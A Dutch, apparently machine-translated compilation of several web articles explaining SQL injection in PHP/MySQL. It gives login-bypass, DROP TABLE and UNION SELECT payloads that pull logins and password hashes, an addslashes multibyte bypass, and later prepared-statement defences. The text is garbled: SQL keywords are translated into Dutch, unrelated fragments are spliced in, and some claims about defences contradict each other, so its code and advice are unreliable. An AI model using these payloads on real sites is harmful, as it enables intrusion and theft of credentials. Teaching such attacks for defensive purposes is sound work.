
We voeren het verzoek uit:

$result = mysql_query("SELECTEER leeftijd VAN mijnvrienden WHERE name=$_GET['name']");

We willen bijvoorbeeld weten hoe oud Nastya is, hoewel het onfatsoenlijk is, zal de database ons alles vertellen :)

Het programma zal de volgende code hebben:

Mysql_query ("SELECTEER leeftijd UIT mijn vrienden WHERE name="Nastya'");

Laten we dit stuk eens nader bekijken. we hebben 2 paar citaten.

Het eerste paar geeft het verzoek zelf in zijn geheel aan.

"SELECTEER leeftijd UIT mijn vrienden WHERE name="Nastya'"

Het tweede paar staat voor de naam. Nastja.

Dus, wat als de aanvaller niet Nastya schrijft, maar Nastya', met een citaat aan het einde? Het zal de syntaxis van de mysql_quevery-functie breken. En de SQL-server zal een natuurlijke reactie geven - een fout (omdat het ' niet kan verwerken, wat geen functie is).

U heeft een fout in uw SQL-syntaxis; controleer de handleiding die overeenkomt met uw MySQL-serverversie voor de juiste syntaxis om te gebruiken in de buurt van Anastasia"

Trouwens, ik ben helemaal vergeten je over de operator te vertellen voor commentaar. Een daarvan is twee streepjes die er zo uitzien: "--". Wat gebeurt er als we Nastya '- overhandigen?

Correct. Alle volgende inzendingen worden becommentarieerd, d.w.z. het citaat om de functie mysql_query() af te sluiten wordt weggecommentarieerd. Nu zal zijn rol worden gespeeld door het citaat dat we zelf hebben geschreven. Dat klopt, nu komen we bij het meest interessante. Op deze manier kregen we gratis toegang tot de database. Ik gaf als voorbeeld de eenvoudigste fout van een programmeur.

Er zijn verschillende gegevenstypen in programmeertalen, er zijn strings (String), er zijn getallen (Integer), afhankelijk hiervan moet u SQL-injectie correct bouwen. Trouwens, "1" kan zowel een tekenreeks als een geheel getal zijn.

Dit is slechts het topje van de ijsberg, er zijn tientallen manieren om SQL-injectiebedreigingen te implementeren.

Voorbeeld van een website-hack

Is het echt zo eng als ze je vertellen? Ik kan niet anders dan een voorbeeld bijvoegen. Hier zien we een online winkel die ons met behulp van een SQL-kwetsbaarheid informatie liet zien over de versie van de SQL-server. U kunt eenvoudig informatie over logins / wachtwoorden weergeven, maar we overwegen geen hackmethoden en destructieve impact, maar integendeel beschermingsmiddelen (trouwens, het sitebeheer is op de hoogte gebracht van de gevonden kwetsbaarheid). Het hebben van een kwetsbaarheid in een online winkel is onaanvaardbaar, en als het ook kaarten accepteert, is het onaanvaardbaar. Kwaadaardige hackers (niet wij) hebben toegang tot de site en kunnen debet-/creditcardgegevens van klanten registreren en de informatie vervolgens voor hun eigen doeleinden gebruiken. Daarom moet u zeer voorzichtig zijn met beveiliging, zowel bij het maken van een website als bij het online winkelen.

Dit is slechts een van de manieren waarop hackers geld verdienen met websites. Er zijn er tientallen: virussen, doorways, omleidingen, extra advertenties, onzichtbare sape op uw site... en nog veel meer... Als u geïnteresseerd bent, zal ik graag een gedetailleerd artikel over dit onderwerp schrijven, schrijf in de opmerkingen.

Jij en ik zijn tot de conclusie gekomen dat je met een min of meer belangrijk project geen kwetsbaarheid mag toestaan. Anders kan dit op het meest ongelegen moment tot ernstige gevolgen leiden. Oké, we zijn er uit, maar wat te doen? Voor een professionele audit dient u zich tot gespecialiseerde bedrijven te wenden, maar nu kunt u zelf elementaire SQL-kwetsbaarheden controleren. Hackers controleren vaak automatisch op kwetsbaarheden en door de onderliggende kwetsbaarheden te sluiten, kunt u uw site beschermen tegen de ogen van een hacker.

Wat moet ik doen als mijn site is gehackt?

Door een site te hacken en de informatie voor eigen doeleinden te gebruiken, verlaten hackers backdoors (verborgen toegangspunten voor een hacker). Dit kunnen bestanden zijn met elke extensie, zelfs jpg, maar er wordt php-code in gecodeerd om het systeem binnen te dringen. Tegenwoordig zijn er veel php-antivirusprogramma's, programma's die het bestandssysteem van uw site scannen op verdachte bestanden. Ik kan de gratis AI-Bolit-software aanbevelen.

Om de site te controleren op beschikbaarheid, moet u een antivirusscript uploaden naar uw hosting en het uitvoeren, het doet de rest voor u. Nadat je de achterdeuren hebt schoongemaakt, moet je de opening dichten waardoor de hacker bij je is gekomen. Update de engine, plug-ins, verander wachtwoorden, u kunt contact opnemen met de hoster om een ​​logbestand uit te geven waarmee u precies kunt begrijpen via welke toegang is verkregen. Na het sluiten van het penetratiekanaal en het verwijderen van backdoors zou alles in orde moeten zijn, maar elk geval is individueel en vereist een persoonlijke aanpak.

Hoe u uw site kunt beschermen tegen hacking: basiscontrole op kwetsbaarheden van het SQL-type

/index.php?id=410

Die. elke URL die invoerparameters bevat. Hier bevat de variabele $_GET['ID'] de waarde 140, die mogelijk wordt doorgegeven aan de databaseserver. Die. voor basisvalidatie moet u proberen een citaat in te voegen en kijken wat uw site als reactie teruggeeft.

Bescherming tegen SQL-injectie

Het belangrijkste is het filteren van inkomende gegevens, bijvoorbeeld in zoekparameters, bij het kiezen van een paginanummer, enzovoort.

Laten we de belangrijkste punten voor het beschermen van uw website benadrukken.

*Witte lijst is de beste methode om u te beschermen tegen SQL-injecties. Het komt erop neer dat de programmacode parameterwaarden bevat die mogen worden doorgegeven aan de SQL-server, waardoor de mogelijkheid om een ​​website te hacken met behulp van SQL-injecties bijna volledig wordt uitgesloten.

Gefeliciteerd! Je hebt het artikel tot het einde gelezen! Ik denk dat dit artikel op zijn minst een beetje nuttig zal zijn voor beginnende programmeurs.

Site-eigenaren zijn, hoop ik, niet al te bang. Weet dat het belangrijkste is om samen te werken met goede bedrijven en u niet tot onbekende persoonlijkheden te wenden.

We hebben trouwens veel artikelen-instructies waarin veel praktische tips staan ​​​​met een geschiedenis van vele jaren oefenen. We hebben natuurlijk nagedacht over het opzetten van een thematische mailinglijst, maar tot nu toe zijn we niet op tijd. Dus het handigst

We wensen je veel succes bij het passeren ervan. De resultaten van uw passage worden later gepubliceerd (volg het nieuws op sociale netwerken) en iedereen die in de toekomst slaagt, wordt verzonden uitnodiging om te registreren op de site.

Leuk vinden, delen met vrienden en collega's, opnieuw posten op sociale netwerken.

Alle programmeurs hebben gelezen, of hebben er in ieder geval van gehoord, methoden om de beveiliging van een website te doorbreken. Of zelfs geconfronteerd met dit probleem. Aan de andere kant is de fantasie van degenen die de site willen breken eindeloos, dus alle knelpunten moeten goed worden beschermd. Daarom wil ik graag beginnen met een reeks korte artikelen die de basismethoden en -trucs van het hacken van websites introduceren.

In het eerste artikel wil ik enkele veelgebruikte methoden beschrijven en uitleggen voor het hacken van een van de meest kwetsbare delen van de site - formulieren. Ik zal dieper ingaan op het gebruik van deze methoden en het voorkomen van aanvallen, en zal ook ingaan op beveiligingstesten.

SQL injectie

SQL-injectie is een techniek waarbij een aanvaller SQL-opdrachten in een invoerveld op een webpagina injecteert. Deze invoer kan van alles zijn - een tekstveld in een formulier, _GET- en _POST-parameters, cookies, enz. Deze methode was zeer effectief vóór de komst van frameworks in de PHP-wereld. Maar deze hack kan nog steeds gevaarlijk zijn als u geen ORM of andere gegevensobjectextensies gebruikt. Waarom? Vanwege de manier waarop parameters worden doorgegeven aan de SQL-query.

"Blinde" injecties

Laten we beginnen met een klassiek voorbeeld van een SQL-instructie die een gebruiker retourneert op basis van gebruikersnaam en wachtwoord-hash (inlogpagina)

voorbeeld 1

mysql_query("SELECT id, login VAN gebruikers WAAR login = ? en wachtwoord = hash(?)");

Ik heb vraagtekens in de uitdrukking geplaatst vanwege verschillende variaties op deze oplossing. De eerste optie is naar mijn mening de meest kwetsbare:

Voorbeeld 1a

Mysql_query("SELECT id, login VAN gebruikers WHERE login = "" . $login . "" en wachtwoord = hash("" . $password . "")");

In dit geval controleert de code niet op ongeldige invoer. Waarden worden rechtstreeks vanuit het invoerformulier doorgegeven aan de SQL-query. In het beste geval vult de gebruiker hier zijn gebruikersnaam en wachtwoord in. Wat gebeurt er in het ergste geval? Laten we proberen dit formulier te hacken. Dit kan door "voorbereide" gegevens door te geven. Laten we proberen in te loggen als de eerste gebruiker uit de database, en in de meeste gevallen is dit het beheerdersaccount. Om dit te doen, geven we een speciale string door in plaats van een login in te voeren:

"OF1=1; --

Het eerste citaat kan enkelvoudig zijn, dus één hackpoging is mogelijk niet genoeg. Er is een puntkomma en twee koppeltekens aan het einde, zodat alles erna een opmerking wordt. Als resultaat wordt de volgende SQL-query uitgevoerd:

SELECTEER id, log in VAN gebruikers WAAR login = ";" OF 1=1 LIMIET 0,1; - en wachtwoord = hash ("; Een wachtwoord")

Het zal de eerste gebruiker uit de database terugsturen en mogelijk als die gebruiker inloggen in de applicatie. Een goede zet zou zijn om een ​​LIMIT toe te voegen om in te loggen als elke individuele gebruiker. Dit is het enige dat nodig is om elke waarde te herhalen.

Meer serieuze manieren

In het vorige voorbeeld is alles niet zo eng. De functies in het beheerdersconfiguratiescherm zijn altijd beperkt en het kost veel werk om een ​​site kapot te maken. Maar een aanval via SQL-injectie kan tot veel meer schade aan het systeem leiden. Denk na over hoeveel applicaties er worden gemaakt met de hoofdtabel "gebruikers", en wat er gebeurt als een aanvaller dergelijke code in een onveilige vorm invoert:

Mijn favoriete login"; DROP TABLE-gebruikers; --

De tabel "users" wordt verwijderd. Dit is een van de redenen om vaker database back-ups te maken.

_GET-parameters

Alle parameters die via het formulier zijn ingevuld, worden naar de server verzonden met behulp van een van de volgende twee methoden: GET of POST. De meest voorkomende parameter die via GET wordt doorgegeven, is id. Dit is een van de meest kwetsbare plaatsen voor aanvallen, ongeacht het soort url dat u gebruikt - ` http://example.com/ gebruikers/?id=1`, of ` http://example.com/ gebruikers/1`, of ` http://......./.../ na/35 `.

Wat gebeurt er als we de volgende code in de url vervangen?

http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 VAN gebruikers WHERE id =1; --

Waarschijnlijk zal een dergelijk verzoek de login van de gebruiker en ... een hash van zijn wachtwoord retourneren. Het eerste deel van de `AND 1=0`-query verandert alles wat ervoor komt in false, dus er worden geen records opgehaald. En het tweede deel van het verzoek retourneert de gegevens in de vorm van voorbereide gegevens. En aangezien de eerste parameter id is, is de volgende de login van de gebruiker en de hash van zijn wachtwoord, en nog wat andere parameters. Er zijn veel programma's die brute kracht gebruiken om zo'n wachtwoord te decoderen, zoals in het voorbeeld. En aangezien een gebruiker hetzelfde wachtwoord voor verschillende services kan gebruiken, zijn ze ook toegankelijk.

En dit is wat merkwaardig is: het is absoluut onmogelijk om je tegen een dergelijke aanval te verdedigen met methoden als `mysql_real_escape_string`, `addslashes`, enz. e.In principe is er geen manier om een ​​dergelijke aanval te voorkomen, dus als de parameters als volgt worden doorgegeven:

"SELECT id, login, email, param1 VAN gebruikers WHERE id = ". addlashes($_GET["id"]);"

problemen gaan niet weg.

Escape-tekens in een string

Toen ik nieuw was in programmeren, vond ik het moeilijk om met coderingen te werken. Ik begreep niet wat het verschil tussen beide was, waarom UTF-8 gebruiken als je UTF-16 nodig hebt, waarom de database de codering altijd instelt op latin1. Toen ik dit alles eindelijk begon te begrijpen, ontdekte ik dat er minder problemen zouden zijn als ik alles in één coderingsstandaard zou houden. Terwijl ik dit alles doorzocht, merkte ik ook de beveiligingsproblemen op die zich voordoen bij het converteren van de ene codering naar de andere.

De problemen die in de meeste voorgaande voorbeelden zijn beschreven, kunnen worden vermeden door enkele aanhalingstekens in query's te gebruiken. Als u addlashes() gebruikt, mislukken SQL-injectieaanvallen op basis van enkele aanhalingstekens met een backslash. Maar zo'n aanval kan werken als je het karakter gewoon vervangt door de code 0xbf27 , addlashes() zal het omzetten naar het karakter met de code 0xbf5c27 - en dit is een volkomen geldig enkel aanhalingsteken. Met andere woorden, `뼧` wordt doorgegeven via addlashes() , en vervolgens zal MySQL-toewijzing het omzetten in twee tekens 0xbf (¿) en 0x27 (‘).

"SELECT * FROM gebruikers WHERE login = ""; .addslashes($_GET["login"]) . ";"";

Dit voorbeeld kan worden gehackt door 뼧 of 1=1 door te geven; -- in het inlogveld in het formulier. De SQL-engine genereert de uiteindelijke query als volgt:

SELECTEER * VAN gebruikers WAAR login = "¿" OF 1=1; --

En retourneert de eerste gebruiker uit de database.

Bescherming

Hoe de applicatie te beschermen? Er zijn veel manieren, waarvan het gebruik de applicatie niet volledig onkwetsbaar maakt, maar in ieder geval de beveiliging verhoogt.

Mysql_real_escape_string gebruiken

De functie addlashes() is onbetrouwbaar, omdat deze niet veel hacks dekt. mysql_real_escape_string heeft dergelijke problemen niet

MySQLi gebruiken

Deze MySQL-extensie kan werken met gerelateerde parameters:

$stmt = $db->prepare("update uets set parameter = ? waar id = ?"); $stmt->bind_param("si", $naam, $id); $stmt->uitvoeren();

BOB gebruiken

Vervanging van parameter over lange weg:

$dbh = nieuwe PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $wachtwoord); $stmt = $dbh->prepare("INSERT IN REGISTRY (naam, waarde) WAARDEN (:naam, :waarde)"); $stmt->bindParam(":naam", $naam); $stmt->bindParam(":waarde", $waarde); // voeg één rij in $name = "one"; $waarde = 1; $stmt->uitvoeren();

Korte weg:

$dbh = nieuwe PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $wachtwoord); $stmt = $dbh->prepare("UPDATE mensen SET naam = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Een ORM gebruiken

Gebruik ORM en PDO en bind (bind gebruiken) parameters. Vermijd SQL in de code, als je SQL in de code ziet, dan is er iets mis mee.

De ORM zorgt voor de beveiliging op de knelpunten in de code en de validatie van de parameters.

bevindingen

Het doel van deze serie is niet om een ​​complete gids te bieden voor het hacken van websites, maar om de veiligheid van de applicatie te waarborgen en aanvallen van welke bron dan ook te voorkomen. Ik heb geprobeerd dit artikel niet alleen voor programmeurs te schrijven - zij moeten op de hoogte zijn van eventuele bedreigingen in de code en weten hoe ze deze kunnen voorkomen, maar ook voor kwaliteitsingenieurs - omdat het hun taak is om dergelijke momenten te volgen en te rapporteren.

De eenvoudigste SQL-injectie voor dummies


In dit artikel zal ik de basisprincipes van SQL-injectie uitleggen met een voorbeeld dat SQL-injectie laat zien.

Zoals de naam al doet vermoeden, kan deze aanval worden uitgevoerd met behulp van SQL-query's. Veel webontwikkelaars weten niet hoe een aanvaller kan knoeien met SQL-query's. SQL-injectie kan worden uitgevoerd op een webtoepassing die de invoer van de gebruiker niet correct filtert en niet vertrouwt op wat de gebruiker levert. Het idee achter SQL-injectie is om de toepassing te dwingen ongewenste SQL-query's uit te voeren.

Natuurlijk zijn we geen hackers, maar om onszelf te kunnen verdedigen, moeten we begrijpen hoe de vijand te werk gaat. Alle voorbeelden die in dit artikel worden genoemd, zijn getest op deze configuratie:

  • PHP-versie: 5.4.45
  • Webserver: Apache
  • Type databaseserver: MariaDB
  • Serverversie: 10.1.26-MariaDB
Voorbeeld van SQL-injectie

De meeste webapplicaties hebben een inlogpagina. Dus daar gaan we mee beginnen. Laten we zeggen dat we een formulier als dit hebben:

Gebruikersnaam: Wachtwoord
Wanneer de gebruiker een gebruikersnaam en wachtwoord invoert, worden deze via de HTTP_POST-methode naar sql.php verzonden:Het voorbeeld is zo eenvoudig mogelijk om het te begrijpen. Wat is hier aan de hand? Wij, en vervolgens naar de tabel "test_in", maken een query voor de selectie. Als de velden gebruikersnaam en wachtwoord overeenkomen, zal de functie mysql_fetch_row() ten minste één resultaat produceren, dat wil zeggen anders dan "false". De vijfde regel in dit php-script is kwetsbaar. Probeer het wachtwoordveld leeg te laten en voer het volgende in bij de login:

Dan is het resultaat altijd "U bent ingelogd"!

Dat wil zeggen, we krijgen toegang tot informatie die in theorie alleen zou moeten worden verstrekt aan een gebruiker die de "login-wachtwoord" -bundel kent. Waarom gebeurt het?

Het punt is dat dan de volgende regel wordt uitgevoerd:

SELECT * from test_in where user_name="" OR 1=1 -- " and password="" En hier is de voorwaarde: de gebruikersnaam moet gelijk zijn aan niets of één moet één zijn. Het is duidelijk dat de laatste voorwaarde is altijd vervuld, daarom zal het resultaat anders zijn dan "false". En om niet aan nog een voorwaarde te voldoen (wachtwoordcontrole) - zullen we het einde van de regel becommentariëren. Vergeet niet om ten minste één spatie voor twee streepjes te plaatsen - anders treedt er een syntaxisfout op.

Het is duidelijk dat om aan zo'n verzoek te voldoen, je in ieder geval precies moet weten hoe de gebruiker geautoriseerd is. Crackers hebben echter veel sjablonen voor sql-injectie.

Dus in dit artikel hebben we geleerd hoe we de eenvoudigste sql-injectie kunnen maken. In de volgende artikelen zal ik dit onderwerp verder uitdiepen en je leren hoe je jezelf kunt beschermen tegen ongeoorloofde toegang. En als u uw systeem moet controleren, dan kan dat